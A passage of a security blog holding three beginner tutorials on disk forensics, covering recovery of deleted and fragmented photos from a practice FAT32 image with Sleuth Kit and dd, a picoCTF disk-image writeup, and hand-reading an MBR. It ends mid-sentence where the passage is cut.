you don't even know how to describe your question yet, it's even harder to speak up. But when you haven't figured something out yet, it's naturally hard to ask a polished question. You can start by telling me what you're trying to do and where you're stuck; if you've already tried a few things, write those down too, and we'll start the conversation from there. So don't worry about whether it's rude to ask. Just ask. It's free. I just want to get to know people who are interested in security research and share some of what I've learned along the way. If you'd like to chat, just email [pcc402@nyu.edu](mailto:pcc402@nyu.edu). No need for pleasantries or a long lead-in; just write about whatever you want to talk about. The door's open. Come say hi anytime. ### Disk Internals & Data Recovery (3): Recovering Five Photos from a Memory Card URL: https://taiwanding.com/en/disk-internals-data-recovery-3-recovering-five-photos-from-a-memory-card/ Last updated: 2026-09-19T06:36:19.000Z Disclaimer: The practice disk image in this post is one I made myself — a 64MB fake memory card image — so nothing here touches a real hard drive. The pass codes printed on the five photos are all masked out as `Redacted`. If you want to try it yourself first, the practice disk image is right below, and the challenge setup is in the next section. [roulab-recovery-1.imgroulab-recovery-1.img.gz1 MBdownload-circle](https://taiwanding.com/content/files/2026/09/roulab-recovery-1.img.gz "Download") ## Why lesson three is about photos The first two lessons were both ext4\. This one switches to FAT32, and the reason is simple: in the real world, the thing people most often ask you to recover is photos, and photos almost always live on FAT32 memory cards. The setup for the practice disk image: a camera memory card. The owner says it had five photos on it, but now only two are visible. Five photos, five different situations, from easy to hard: 1. Level 0: a normal photo that was never deleted 2. Level 1: a photo that was deleted the normal way 3. Level 2: a photo that doesn't even have a filename 4. Level 3: a photo that was deleted and is split into two pieces 5. Level 4: a photo you can see but can't open Each photo has a pass code printed on it. Recover it, get it to open, read the code, and you've cleared that level. Key point: this lesson uses only two tools, Sleuth Kit and grep. No PhotoRec. Walk through it by hand once first; that way, when you do reach for an automated tool later, you'll know what it's doing for you — and where it's lying to you. ## Environment ```bash cp /mnt/d/Download/roulab-recovery-1.img.gz ~/lab/ && cd ~/lab gunzip roulab-recovery-1.img.gz md5sum roulab-recovery-1.img ``` The md5 should be `6005d8729e0b4ef806e42daea12f2719`. This image is evidence: we never write to it at any point, and all output gets saved separately to `~/lab/out/`. ```bash mmls roulab-recovery-1.img ``` ``` Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 001: ------- 0000000000 0000002047 0000002048 Unallocated 002: 000:000 0000002048 0000131071 0000129024 Win95 FAT32 (0x0c) ``` As before, the partition starts at 2048, so every command from here on carries `-o 2048`. The difference is in the last column: `Win95 FAT32 (0x0c)`, not Linux. ## Step 1: Take roll call ```bash fls -o 2048 -r -p roulab-recovery-1.img ``` ``` r/r 3: ROULAB (Volume Label Entry) d/d 4: DCIM d/d 21: DCIM/100LAB r/r 37: DCIM/100LAB/IMG_0000.JPG r/r * 38: DCIM/100LAB/_MG_0001.JPG r/r * 39: DCIM/100LAB/_MG_0003.JPG r/r * 40: DCIM/100LAB/_ID_0001.BIN r/r 41: DCIM/100LAB/IMG_0004.JPG v/v 2032099: $MBR v/v 2032100: $FAT1 v/v 2032101: $FAT2 V/V 2032102: $OrphanFiles ``` Three things to notice: 1. `$FAT1`, `$FAT2`: FAT's ledger (which slot links to which) sits in its entirety at the very front of the disk, and it's written twice — the second copy is a backup. 2. The starred names have their first character turned into an underscore: `_MG_0001.JPG` was originally `IMG_0001.JPG`. When FAT deletes a file, it only changes the first byte of the filename to `0xE5`, meaning "this entry is free"; the other 10 characters, the size, the timestamps, and the location of the first cluster all stay right where they were. When TSK sees `0xE5`, it displays it as an underscore. 3. `IMG_0002` is missing: 0000, 0001, 0003, and 0004 are all there, but there's no 0002, not even an underscore version. The directory has no entry for it at all. Key point: this is the difference between the three kinds of "missing." For 0001 and 0003, the entry is still there, just marked as reclaimable; for 0002, the entry itself is gone — the ledger has no idea it exists, and all that may be left is its contents, still scattered somewhere on the disk. ## Step 2: Level 0, calibrate your instruments Level 0 isn't a recovery; it's a check on your process. When you get a disk, first find a perfectly healthy file and walk it through the whole process: confirm the tools read it correctly, the offset is right, and what you dump out actually opens. Once this level passes, if an image you recover later won't open, you know the problem is the image, not your process. ```bash istat -o 2048 roulab-recovery-1.img 37 ``` ``` Directory Entry: 37 Allocated File Attributes: File, Archive Size: 223671 Name: IMG_0000.JPG ... Sectors: 2021 2022 2023 2024 2025 2026 2027 2028 ... 2453 2454 2455 2456 2457 ``` Size is 223671, and the Sectors run consecutively from 2021 all the way to 2457\. Count them: 2457 − 2021 + 1 = 437 slots × 512 = 223744 bytes, just enough to hold 223671\. This is what a "healthy file" looks like: wherever the ledger says it is, the data sits there in one contiguous run. Every level after this gets measured against this baseline. On this disk a cluster is 512 bytes, the same size as a sector, so the sector numbers istat prints can be used directly as cluster numbers. ### Is 38 an inode? Compare this with lesson one: ext4 takes three steps — name → inode (the card) → block (the contents). FAT has no separate card. The name, size, timestamps, and the location of the first slot are all crammed into a single 32-byte entry in the directory. So that you can use the same set of commands, TSK numbers these entries itself: `38` is the number TSK gave that entry. FAT itself has no such number. ![](https://taiwanding.com/content/images/2026/09/fig7-ext4-vs-fat.jpg) The difference is in the last piece: ext4 writes "which slots hold the contents" entirely in the inode; FAT only writes "the first slot" in the entry, and for the second slot onward you have to look it up in the `$FAT1` ledger. Dump it out, and copy it over to Windows while you're at it so you can view the image: ```bash mkdir -p ~/lab/out icat -o 2048 roulab-recovery-1.img 37 > ~/lab/out/L0.jpg cp ~/lab/out/L0.jpg /mnt/d/Download/ file ~/lab/out/L0.jpg ``` ``` L0.jpg: JPEG image data, JFIF standard 1.01, ... 1024x768, components 3 ``` Open it: pass code `Redacted`. The instruments check out. ## Step 3: Level 1, a normal deletion ```bash istat -o 2048 roulab-recovery-1.img 38 ``` ``` Directory Entry: 38 Not Allocated File Attributes: File, Archive Size: 213350 Name: _MG_0001.JPG ... Sectors: 2458 2459 2460 2461 2462 2463 2464 2465 ... 2874 ``` It looks almost identical to Level 0: the Size is still there, the timestamps are still there, and the Sectors are one long consecutive run too. The only difference is a single line: `Not Allocated`. But this run of Sectors comes from a different source. In Level 0, TSK read that run off the ledger, slot by slot. When this photo was deleted, its chain in the ledger was zeroed out, so all TSK has left are two numbers from the directory entry: first slot 2458, size 213350\. So it assumes "the file is contiguous," counts 417 slots forward on its own, and fills them in for you. Key point: the Sectors under `Not Allocated` are TSK's guess, not a record. This photo happens to be contiguous, so the guess is right. In Level 3, it won't be. While we're at it, let's put deletion on the two filesystems side by side: 1. ext4 deletion: the whole inode is wiped and all the location info is gone (we saw this with our own eyes in lesson one; only the journal still had a backup) 2. FAT deletion: only the first character of the entry gets blotted out, the first slot and the size are both still there, and only the chain in the ledger gets zeroed out While a file is alive, FAT keeps less information about it than ext4 does; once it's dead, FAT actually leaves more behind. ```bash icat -o 2048 roulab-recovery-1.img 38 > ~/lab/out/L1.jpg cp ~/lab/out/L1.jpg /mnt/d/Download/ file ~/lab/out/L1.jpg ``` It opens: pass code `Redacted`. Level 1 cleared. ## Step 4: Level 2, no name 0002 doesn't even have a directory entry, so `fls`, `istat`, and `icat` are all useless — every one of them relies on the ledger. The only clue left is the contents themselves. To search by content, you first need to know what a JPEG looks like. Take the healthy one from Level 0 and look at its head and tail: ```bash xxd -l 16 ~/lab/out/L0.jpg xxd ~/lab/out/L0.jpg | tail -1 ``` ``` 00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001 ......JFIF...... 000369b0: bf56 f57e 67ff d9 .V.~g.. ``` Every JPEG starts with `ff d8 ff` and ends with `ff d9`. This is called a file signature. It lives at the file format layer and has nothing to do with the filesystem, so it's still there even after the ledger is gone. Let's get two terms straight here, since both will come up from now on: 1. Filesystem (ext4, FAT32, NTFS): the ledger rules that track "where on the disk each file is stored" 2. File format (JPEG, PNG): how the contents of the file itself are laid out How the ledger is kept is the filesystem's business; what the contents look like is the file format's business. When you're recovering data, you have to look at both layers. In lesson one we used `grep -a -b` to search the whole disk for text. This time we're searching for bytes, so the command changes a little: ```bash LC_ALL=C grep -obUaP '\xff\xd8\xff' roulab-recovery-1.img ``` ``` 2083328:��� 2307072:��� 2520576:��� 42991616:��� ``` `-o` prints only the match, `-b` prints the byte offset, and `-P` lets you write bytes as `\xff`. Four hits. Next comes process of elimination: three of the four are photos we already know, and whatever's left over is 0002\. The conversion is the same as in lesson one: byte offset ÷ 512 = sector number on the whole disk, then subtract 2048 = the sector number istat shows. 1. 2083328 → 4069 − 2048 = 2021 → first slot of IMG\_0000 2. 2307072 → 4506 − 2048 = 2458 → first slot of \_MG\_0001 3. 2520576 → 4923 − 2048 = 2875 → first slot of \_MG\_0003 (you'll see it shortly in istat 39) 4. 42991616 → 83968 − 2048 = 81920 → far away from everyone else, and nobody claims it 81920 is the head of 0002. One loose end to flag while we're here: there's clearly also an IMG\_0004.JPG alive and well on the disk, so why only four hits? Hold that thought; we'll come back to it in Level 4. We know where it starts, but there's no directory entry to tell us how big it is. So look for the tail instead: the first `ff d9` after 42991616. ```bash LC_ALL=C grep -obUaP '\xff\xd9' roulab-recovery-1.img | awk -F: '$1 > 42991616 {print $1; exit}' ``` ``` 43224787 ``` Beginner pitfall: "searching forward" only works if the file is contiguous. Treating the whole stretch from head to tail as 0002 relies on the file lying in one continuous run from start to finish. When a file is split into two pieces, the second piece might sit before the head, or somewhere far away, and "search forward from the head for the first ff d9" will cut at someone else's tail. This is a built-in limitation of carving, and you'll run into it yourself in Level 3. Cut it out. 43224787 is where the `ff` is, and the `d9` is one byte after it, so the tail needs +2: ```bash dd if=roulab-recovery-1.img of=~/lab/out/L2.jpg bs=1 skip=42991616 count=$((43224787 + 2 - 42991616)) status=none cp ~/lab/out/L2.jpg /mnt/d/Download/ file ~/lab/out/L2.jpg ``` It opens: pass code `Redacted`. This level didn't touch the ledger at all — it was recovered purely from the file format. The real world adds one more pitfall: JPEGs shot on a camera embed a thumbnail, and the thumbnail has its own `ff d9`. "The first ff d9" might be the thumbnail's tail, and all you cut out is a tiny image. This practice disk image has no thumbnails, but a real camera's memory card will. ## Step 5: Level 4, a broken header (0004 first) Back to that loose end: according to the ledger, IMG\_0004.JPG is alive and well, yet searching for `ff d8 ff` doesn't find it. Run it through the Level 0 process: ```bash icat -o 2048 roulab-recovery-1.img 41 > ~/lab/out/L4.jpg file ~/lab/out/L4.jpg xxd -l 16 ~/lab/out/L4.jpg ``` ``` L4.jpg: data 00000000: 0000 0000 0010 4a46 4946 0001 0100 0001 ......JFIF...... ``` `file` can't identify it because the signature is gone. Only the first 4 bytes have turned into 0; from the 5th byte on, `0010 4a46 4946` is exactly the same as in Level 0\. Image viewers also look at those first 4 bytes to decide whether to bother with a file at all. This kind of "only a small chunk at the start is broken" damage is very common: a bad sector happens to land on the first sector, or another file briefly wrote over it. The remaining 99.9% of the data is fine; nothing is willing to open it, that's all. The fix is to put those 4 bytes back, and the start of the Level 0 photo has already told you what they should be. Write to the copy and leave the evidence untouched: ```bash printf '\xff\xd8\xff\xe0' | dd of=~/lab/out/L4.jpg bs=1 conv=notrunc status=none file ~/lab/out/L4.jpg cp ~/lab/out/L4.jpg /mnt/d/Download/ ``` `conv=notrunc` is the key: it overwrites only the first 4 bytes without truncating the file. It opens: pass code `Redacted`. ## Step 6: Level 3, split in two (then 0003) The hardest level. First we hit the wall, then we take it apart. ```bash istat -o 2048 roulab-recovery-1.img 39 | head -20 icat -o 2048 roulab-recovery-1.img 39 > ~/lab/out/L3-naive.jpg file ~/lab/out/L3-naive.jpg ``` ``` Directory Entry: 39 Not Allocated Size: 202464 Name: _MG_0003.JPG Sectors: 2875 2876 2877 2878 ... L3-naive.jpg: JPEG image data, JFIF standard 1.01, ... 1024x768, components 3 ``` `istat` says one consecutive run, `file` says it's a normal JPEG, and the size is right too. Every instrument is showing green. Open it, and there's only the top half; the bottom half is noise. ![](https://taiwanding.com/content/images/2026/09/fig8-fragment-vs-guess.jpg) What actually happened: halfway through writing 0003, another file (`_ID_0001.BIN`) cut in and took the space right after it, so the second half of 0003 had to jump further ahead. The ledger originally recorded that jump, but it was zeroed out on deletion, so TSK can only count forward from 2875\. Once it counts past the end of the first half, what it picks up next is the BIN's random data. The JPEG decoder gives up the moment it hits random data, which is why you see half a picture. To fix it, you have to answer two questions. ### Where does the first half end? The clue is the file that cut in line. It has a directory entry too, number 40: ```bash istat -o 2048 roulab-recovery-1.img 40 | head -14 ``` ``` Directory Entry: 40 Not Allocated Size: 409600 Name: _ID_0001.BIN Sectors: 3073 3074 3075 3076 ... ``` It starts at 3073, and its Size of 409600 is exactly 800 slots (409600 ÷ 512 = 800), so it occupies 3073 through 3872. That makes the first half of 0003 run from 2875 through 3072: 3072 − 2875 + 1 = 198 slots × 512 = 101376 bytes. This stretch is contiguous, and it's the part TSK guessed right. ### Where is the second half? Think about how 0003 was written in the first place: at 3072 it found the next slot taken by the BIN. FAT's habit is to "find the next free slot and keep going," and the first free slot after the BIN is 3873\. The most reasonable guess: the second half starts at 3873 and runs contiguously to the end. But that's a guess, and it needs to be verified. You already learned how in Level 2: if the second half really starts at 3873 and its length is exactly the remaining bytes, then `ff d9` should show up at precisely the position we calculate — not a byte earlier, not a byte later. Remaining bytes: 202464 − 101376 = 101088\. Divided by 512, that's 197 slots with 224 left over, so the last slot only uses 224 bytes and the other 288 bytes are empty. Just like the 437 slots holding 223671 bytes in Level 0, the last slot never comes out exactly full. The expected position of `ff d9`: (2048 + 3873) × 512 + 101088 − 2 = 3132638 ![](https://taiwanding.com/content/images/2026/09/fig9-ffd9-ruler.jpg) Each of the three parts does one job: 1. (2048 + 3873) × 512 turns "slot 3873 of the partition" into a byte offset in the whole image. It's the reverse of the conversion from Level 2: back then it was ÷ 512 and then − 2048; now it's + 2048 and then × 512\. That gives 3031552, the start of the second half. - 101088 walks from that starting point through the entire second half, landing on 3132640\. That number is "the first byte after the file ends," so it isn't part of the file. 2. − 2 because the file's last two bytes are `ff d9`: `d9` is at 3132639 and `ff` is at 3132638\. grep reports the position of the `ff`, so we step back 2. Verify it: ```bash LC_ALL=C grep -obUaP '\xff\xd9' roulab-recovery-1.img | awk -F: '$1 > 3031552 {print $1; exit}' ``` ``` 3132638 ``` Not a single byte off. A match this exact is no coincidence: start at 3873, walk 101088 bytes, and the last two bytes turn out to be exactly the JPEG end marker. The position and the length of the second half are confirmed in one go. ### Stitch it back together All three numbers have been verified: the first half is 198 slots starting at 2875, and the second half is 101088 bytes starting at 3873\. Two dd commands, with their output going into the same file one after the other: ```bash ( dd if=roulab-recovery-1.img bs=512 skip=$((2048+2875)) count=198 status=none; dd if=roulab-recovery-1.img bs=1 skip=3031552 count=101088 status=none ) > ~/lab/out/L3.jpg file ~/lab/out/L3.jpg ls -l ~/lab/out/L3.jpg cp ~/lab/out/L3.jpg /mnt/d/Download/ ``` The first half is taken in whole slots, so it uses bs=512; the second half's tail doesn't fill a whole slot, so it switches to bs=1 to cut precisely. `ls -l` shows 202464, the same as the Size in the directory entry. Open it, and the bottom half is back: pass code `Redacted`. ## Wrap-up Five things this practice disk image teaches: 1. Recovery means looking at two layers: the filesystem's ledger and the file format's contents. When the ledger is broken, find the file by its format (Level 2); when the format is broken, find it through the ledger and then repair it (Level 4) 2. FAT deletion only blots out the first character of the filename; the first slot and the size are both still there, so it leaves more behind than ext4 does. That's why icat can recover a contiguous file directly 3. The Sectors under `Not Allocated` are a guess TSK makes by counting forward from the first slot, not a record. A tool showing green doesn't mean it's right 4. Carving assumes the file is contiguous. For a fragmented file, you need the neighbor's directory entry and the file format's tail together to track down the second piece 5. Every guess has to be verified. It only holds up when the position you calculated and the one grep finds line up without being off by a single byte Happy Carving! ### Disk Internals & Data Recovery (2): Skip strings | grep and Solve picoCTF Disk, disk, sleuth! with a Forensic Workflow URL: https://taiwanding.com/en/disk-internals-data-recovery-2-picoctf-disk-disk-sleuth-forensic-workflow/ Last updated: 2026-09-19T06:36:18.000Z Disclaimer: This post is my writeup of picoCTF's "Disk, disk, sleuth!". Everything is done on the downloaded image file and never touches a real hard drive. ## Why lesson two is the real thing In lesson one we built the disk ourselves: we put the files there, looked up the inodes, and worked out the blocks by hand. This lesson switches to "someone else's disk": picoCTF 2021's Disk, disk, sleuth!, a disk image of a small Linux system. All the challenge tells you is that there's a flag somewhere inside. Let me be upfront: `strings image | grep picoCTF` gets you this flag in three seconds. This post doesn't take that route. It follows a forensic workflow instead — look at the structure, list the files, narrow the scope, and only touch the contents at the very end. The flag is a side effect; the workflow is what you should take away. ## Environment The tool is still Sleuth Kit. After you download the challenge file, if you're on WSL, you'll need to grab it from the Windows downloads folder through `/mnt/`: ```bash cp /mnt/d/Download/dds1-alpine.flag.img.gz ~/lab/ && cd ~/lab gunzip dds1-alpine.flag.img.gz ``` Sleuth Kit's tool names follow a pattern, and once you get it you don't have to memorize them: the first letters tell you "which layer to look at", and the rest tells you "what to do". 1. Prefix: `mm` \= partition table, `f` \= file name, `i` \= inode, `blk` \= block, `j` \= journal 2. Suffix: `ls` \= list, `stat` \= print the details, `cat` \= dump the contents So `mmls` \= list the partition table, `fls` \= list file names, `istat` \= look at one inode, `icat` \= dump one file's contents. ![](https://taiwanding.com/content/images/2026/09/fig5-sleuthkit-naming.jpg) ## Step 1: Look at the structure ```bash mmls dds1-alpine.flag.img ``` ``` DOS Partition Table Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Primary Table (#0) 001: ------- 0000000000 0000002047 0000002048 Unallocated 002: 000:000 0000002048 0000262143 0000260096 Linux (0x83) ``` It looks exactly like the disk we partitioned ourselves in lesson one: sector 0 is the partition table, 1 through 2047 is the 1 MiB alignment gap, and the partition starts at 2048\. 260096 sectors is about 127 MiB, type 0x83 Linux. Key point: remember 2048\. Every command from here on uses `-o 2048` to tell the tool "the partition starts here". It's the same idea as the `-o` we gave losetup in lesson one, except the unit is sectors, not bytes. ## Step 2: List the root directory ```bash fls -o 2048 dds1-alpine.flag.img ``` ``` d/d 10161: home d/d 11: lost+found r/r 12: .dockerenv d/d 2033: bin d/d 8129: boot d/d 6097: dev d/d 16257: etc d/d 28449: lib ... d/d 26418: root ... d/d 20324: var V/V 32513: $OrphanFiles ``` `d/d` is a directory, `r/r` is a file, and the number before the colon is the inode number. Two clues stand out: 1. `.dockerenv` means this isn't Linux installed on a physical machine; it's a Docker container dumped into a disk image. Containers are usually very clean, so anything extra will stand out. 2. `$OrphanFiles` is a virtual folder Sleuth Kit adds on its own. It holds files whose "inode is still there, but whose name is no longer on the list". Half-deleted and hidden things show up here, and in real cases it's one of the first places you look. If you think in terms of "someone deliberately hid something", the priority order is: `root` (the logged-in user's home), `home` (are there any other users?), then `$OrphanFiles`. ## Step 3: Browse folder by folder, or dump the whole disk Put an inode number after fls and it means "list what's inside this folder": ```bash fls -o 2048 dds1-alpine.flag.img 26418 # root fls -o 2048 dds1-alpine.flag.img 10161 # home ``` Both are empty, and empty is information too: root was never used, and there are no other users. Browsing one folder at a time is good for getting a feel for the structure, but in practice the first step is to dump everything: `-r` recurses all the way down, `-p` prints full paths, and you save the output to a file. Every call you make after that is made from this listing. ```bash fls -o 2048 -r -p dds1-alpine.flag.img > listing.txt wc -l listing.txt grep -c '^\*' listing.txt ``` ``` 1973 listing.txt 0 ``` 1973 entries, and 0 of them start with `*` (deleted, but with the name still on the list). So the flag is sitting there as a normal file. No need to go down the recovery path; the only question is "where". ## Step 4: Rule out "someone dropped files into a directory" In a container, a few of the default directories should be empty. Check the listing to see whether anything sits under them: ```bash grep -E ': (home|root|tmp|opt|srv|mnt|media)(/|$)' listing.txt ``` It only prints the lines for the directories themselves, with no extra files. So whoever planted the flag didn't take the lazy "add a new file" route: it's hidden inside an existing file, or tucked away in an inconspicuous path. ## Step 5: Timeline Let's switch to an angle real forensics actually uses: time. The image was built in one go, so the modification times of two thousand files will be bunched together in the same window; anything someone touched later will fall out of line. `fls -l` adds four timestamps and the size to every line, then sort orders them by modification time: ```bash fls -o 2048 -r -p -l dds1-alpine.flag.img | sort -t$'\t' -k3 | tail -15 ``` Beginner pitfall: with `-l`, the column order is "type and inode number", then "path", and only then the modification time, so it's column 3, not column 2\. The first time, I sorted with `-k2` and every line in the output started with `var/` — it had been sorted by path. ``` r/r 30729: lib/modules/.../tcp_vegas.ko 2021-02-17 04:55:28 ... r/r 28871: lib/modules/.../scsi_transport_fc.ko 2021-02-17 04:55:28 ... r/r 28598: lib/modules/.../poly1305_generic.ko 2021-02-17 04:55:28 ... d/d 8129: boot 2021-02-17 04:55:29 ... r/r 8136: boot/ldlinux.sys 2021-02-17 04:55:29 ... r/r 8137: boot/ldlinux.c32 2021-02-17 04:55:29 ... r/r 8138: boot/syslinux.cfg 2021-02-17 04:55:29 ... 219 ``` Everything is 04:55:28; only the entries under `boot` are one second later. The timeline doesn't help much in this challenge — the whole disk was generated by a script within a single second, not a machine someone used for a long time. Container images are all like that. But that "one second later" still tells you something: the last thing touched was the boot config `boot/syslinux.cfg`, 219 bytes of plain text. If you wanted to hide something somewhere that "looks like a system file but was actually written by hand", a small config file like this is a perfect fit. It's tiny anyway, so just read it. ## Step 6: Read the contents ```bash icat -o 2048 dds1-alpine.flag.img 8138 ``` ``` DEFAULT linux SAY Now booting the kernel from SYSLINUX... SAY picoCTF{Redacted} LABEL linux KERNEL /boot/vmlinuz-virt APPEND ro root=/dev/sda1 rootfstype=ext3 initrd=/boot/initramfs-virt ``` `SAY` is a directive that prints a line of text for the user during boot. The first one is normal; the second one is not something a boot config should contain. While you're here, check the `APPEND` line and its `rootfstype=ext3`: this disk is ext3, the same family as ext4, and it has a journal too. That comes into play in lesson three. ## So can you just brute-force search? Yes, and there are three ways to do it, each with its own blind spots: 1. `strings image | grep picoCTF` scans the entire disk directly, including deleted data, old versions in the journal, and empty blocks not owned by any file. It has the widest coverage. The downside: when a file is fragmented, the string gets split, and if the flag is base64-encoded, compressed, or cut in half, you won't see it. 2. `tsk_recover` icats every file on the list and saves each one to a folder under its original path — basically a loop that "dumps every inode". Then you search with ordinary grep and find. It "follows the map": every file's boundaries are right, and fragmented files get stitched back together, but it only covers what's on the list. ```bash tsk_recover -o 2048 -a dds1-alpine.flag.img out/ grep -r picoCTF out/ ``` `-a` dumps only normal files; `-e` dumps orphaned and deleted files as well. For this challenge it dumped 1565 files, fewer than the 1973 in the listing. The difference is directories and symlinks, which have no contents to dump. 3\. Narrowing the scope is the path this post takes. It's slow, but it doesn't depend on "knowing what the flag looks like". ![](https://taiwanding.com/content/images/2026/09/fig6-search-coverage.jpg) The key line: real cases don't have a `picoCTF{`. What you're after might be a message, an account, or what happened on a particular night, and you can't grep for something when you don't know what it looks like. The professional approach runs two tracks in parallel: narrow the scope with hypotheses while also scanning the whole disk for known keywords, and let each one confirm the other. This post practices the former. ## Wrap-up ![](https://taiwanding.com/content/images/2026/09/fig4-investigation-funnel.jpg) Four things to take away from this lesson: 1. The order of operations when you're handed a disk: mmls to see the structure → fls to dump the listing → rule things out → narrow the scope → only then icat to read the contents 2. Empty directories and zero deleted files are information too; every step narrows the scope 3. Timelines are a forensics fundamental. It didn't happen to help here, but before you sort, check which column the field is actually in 4. Brute-force searching is a legitimate technique, not cheating, but you need to know what it misses Happy Hunting! ### Disk Internals & Data Recovery (1): Where Does Data Go After You Delete a File? URL: https://taiwanding.com/en/disk-internals-data-recovery-1-where-deleted-data-goes/ Last updated: 2026-09-19T06:36:18.000Z Disclaimer: Everything in this post is done on an ordinary 100MB file and never touches your computer's real hard drive. Do not change the target of any command here to a physical device like `/dev/sda`. This post does four things: 1. Use a 100MB file as a fake hard drive, and partition and format it by hand 2. Dig a file's contents straight off the disk without going through the filesystem 3. Delete the file and see what "delete" actually does 4. Recover the file even after both its filename and its inode are gone Every pitfall I stepped in is flagged as "Beginner pitfall" — those are the real point of this post. ## Environment WSL2, or any Linux. No physical disk required. ```bash sudo apt update && sudo apt install -y sleuthkit xxd ``` Three safety rules: 1. Every command targets only `~/lab/disk.img` or the `/dev/loop0` attached to it 2. No `/dev/sd*` appears anywhere in this post 3. Before running any command, take a look at what it's targeting — that habit matters more than any tool ## Step 1: Make a fake hard drive ```bash mkdir -p ~/lab && cd ~/lab dd if=/dev/zero of=disk.img bs=1M count=100 xxd -a -l 512 disk.img ``` ``` 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ * 000001f0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ ``` `disk.img` is a 100MB file full of zeros. From now on we'll "treat it as" a blank hard drive. It's the same trick WSL pulls with its own .vhdx: to Windows it's a file, to WSL it's an entire disk. `xxd -a` collapses the repeated all-zero lines into `*`. Beginner pitfall: the `105 MB, 100 MiB` that dd prints is the same number. Manufacturers label in decimal (1TB = 10¹²), while the OS displays binary (a 1TB drive shows up as 931 GiB). That's exactly why the 1TB drive you bought seems to be "missing 70GB." Both units will keep coming up when we calculate positions later. ## Step 2: A hard drive only knows sectors A hard drive doesn't know about files, and it doesn't know about folders. All it knows is a row of numbered slots called sectors, each 512 bytes. This disk has 204800 of them, numbered 0 to 204799. Key point: everything that follows — the partition table, the filesystem, how to fish out deleted files — is just answering one question: what's in which slot. ## Step 3: Partition ```bash printf 'label: dos\n,,L\n' | sfdisk disk.img ``` The important parts of sfdisk's report: ``` Disk disk.img: 100 MiB, 104857600 bytes, 204800 sectors Units: sectors of 1 * 512 = 512 bytes ... Device Boot Start End Sectors Size Id Type disk.img1 2048 204799 202752 99M 83 Linux ``` ![](https://taiwanding.com/content/images/2026/09/fig1-sector-partition.jpg) A partition is just a line drawn across that row of slots: "sectors 2048 through 204799 are one region." It only marks off a range; what's inside is still empty. `disk.img1` is the partition's name, following the same convention as `/dev/sda` → `/dev/sda1`. The `disk.img2: Done.` in the report just means sfdisk checked whether to create a second partition, found nothing specified, and wrapped up. There's really only one partition. The four numbers in the table: 1. Start 2048: begins at sector 2048 2. End 204799: the last sector, which is also the last sector of the whole disk 3. Sectors 202752: 204799 − 2048 + 1 4. Size 99M: 202752 × 512 ≈ 99 MiB Beginner pitfall #1: 2048 has nothing to do with the disk's size; it's fixed. Whether the disk is 100MB or 2TB, modern tools start drawing at sector 2048, and 2048 × 512 = 1 MiB. Hard drives and SSDs read and write internally in units bigger than 512 bytes, so starting a partition on a whole MiB keeps it from straddling those units. This is called alignment. On a 500MB disk, the only things that change are End and Sectors. Beginner pitfall #2: the disk is 100 MiB and the partition is 99 MiB, but the missing 1 MiB isn't "that table." The table only takes up the 512 bytes of sector 0\. What's missing is the whole stretch from sector 0 to 2047: sector 0 is the table, and sectors 1 through 2047 are alignment padding. 2048 × 512 = 1 MiB, exactly. ## Step 4: Read the MBR Sector 0 is called the MBR. It's 512 bytes, split into three parts: 1. First 446 bytes: boot code 2. Next 64 bytes: the partition table, 4 entries × 16 bytes 3. Last 2 bytes: the signature `55 AA` ```bash xxd -l 512 disk.img ``` Only the last few lines have anything in them: ``` 000001b0: 0000 0000 0000 0000 bc9c ea4c 0000 0020 ...........L... 000001c0: 2100 83be 320c 0008 0000 0018 0300 0000 !...2........... 000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U. ``` The first partition table entry starts at offset `0x1be` and is 16 bytes long. Its format is fixed by the spec, the same way an application form comes with "10 boxes for your name, 8 boxes for your date of birth" already printed on it. You just read it box by box: ``` Byte 0 Boot flag (1 byte) Bytes 1–3 Legacy CHS address (3 bytes, ignored today) Byte 4 Type (1 byte) Bytes 5–7 Legacy CHS address (3 bytes, ignored) Bytes 8–11 Starting sector (4 bytes) Bytes 12–15 Sector count (4 bytes) ``` Use `-g1` to print just those 16 bytes, one byte per group: ```bash xxd -g1 -s 0x1be -l 16 disk.img ``` ``` 000001be: 00 20 21 00 83 be 32 0c 00 08 00 00 00 18 03 00 ``` ![](https://taiwanding.com/content/images/2026/09/fig2-mbr-entry.jpg) Byte 4, `83`, is the Id 83 (Linux) from the table. Bytes 8–11 are `00 08 00 00`, and bytes 12–15 are `00 18 03 00`. There are three pitfalls here. Each one is tiny, and stepping in any of them makes everything wrong: 1. xxd's two-byte grouping is just formatting. The space in the default output `0008 0000` is there for human eyes and has nothing to do with the data. On disk, the 512 bytes sit in one continuous run with no separators, so the only way to split them into fields is by counting offsets. When you read the dump, pretend the spaces don't exist. 2. Offsets count from 0\. The first byte is byte 0\. An offset means "how many bytes from the start," and the very first byte is 0 bytes from the start. I counted from 1, grabbed `00 00 18 03`, and everything was off. The same goes for xxd's left column, `000001c0`: the first byte on that line is byte `0x1c0`. 3. Numbers are stored backwards, and you can't tack on extra zeros. `00 08 00 00` doesn't look like 2048 (`0x800`) because the computer puts the smallest byte first, so you have to read it in reverse: `00 00 08 00` → `0x800` → 2048\. This is called little-endian. When you reverse it, you can drop the leading `00`s (`0318` is just `318`), but you can't pad zeros onto the end — I reversed `00 18 03 00` into `03180000`, which is like writing 31800 as 3180000, 256 times too big. The correct reading is `00 03 18 00` → `0x31800` → 202752 = Sectors. Check the math: ```bash printf '%d\n' 0x800 printf '%d\n' 0x31800 ``` While we're at it, look at the `bc9c ea4c` at `0x1b8`. Reversed, it's `0x4cea9cbc` \= the Disk identifier in sfdisk's report. At this point, every number sfdisk printed has been found somewhere in those 512 bytes. ## Step 5: Format it as ext4 A partition just stakes out land. To store files, you first need a bookkeeping system: which slots are in use, what each file is called, which slots hold its contents. That bookkeeping system is called a filesystem, and ext4 is one kind (NTFS and FAT32 are others). Formatting = writing a blank ledger into the partition, and the command for it is mkfs. The layers: disk → partition table → partition → filesystem → folders and files. Your own system went through exactly the same process when it was set up; someone else just did it for you. First, give the partition a device file: ```bash sudo losetup -f --show -o $((2048*512)) disk.img ``` `-o` is the offset, and `2048*512` skips the first 1 MiB so everything counts from the start of the partition. It prints `/dev/loop0` (your number may differ; substitute 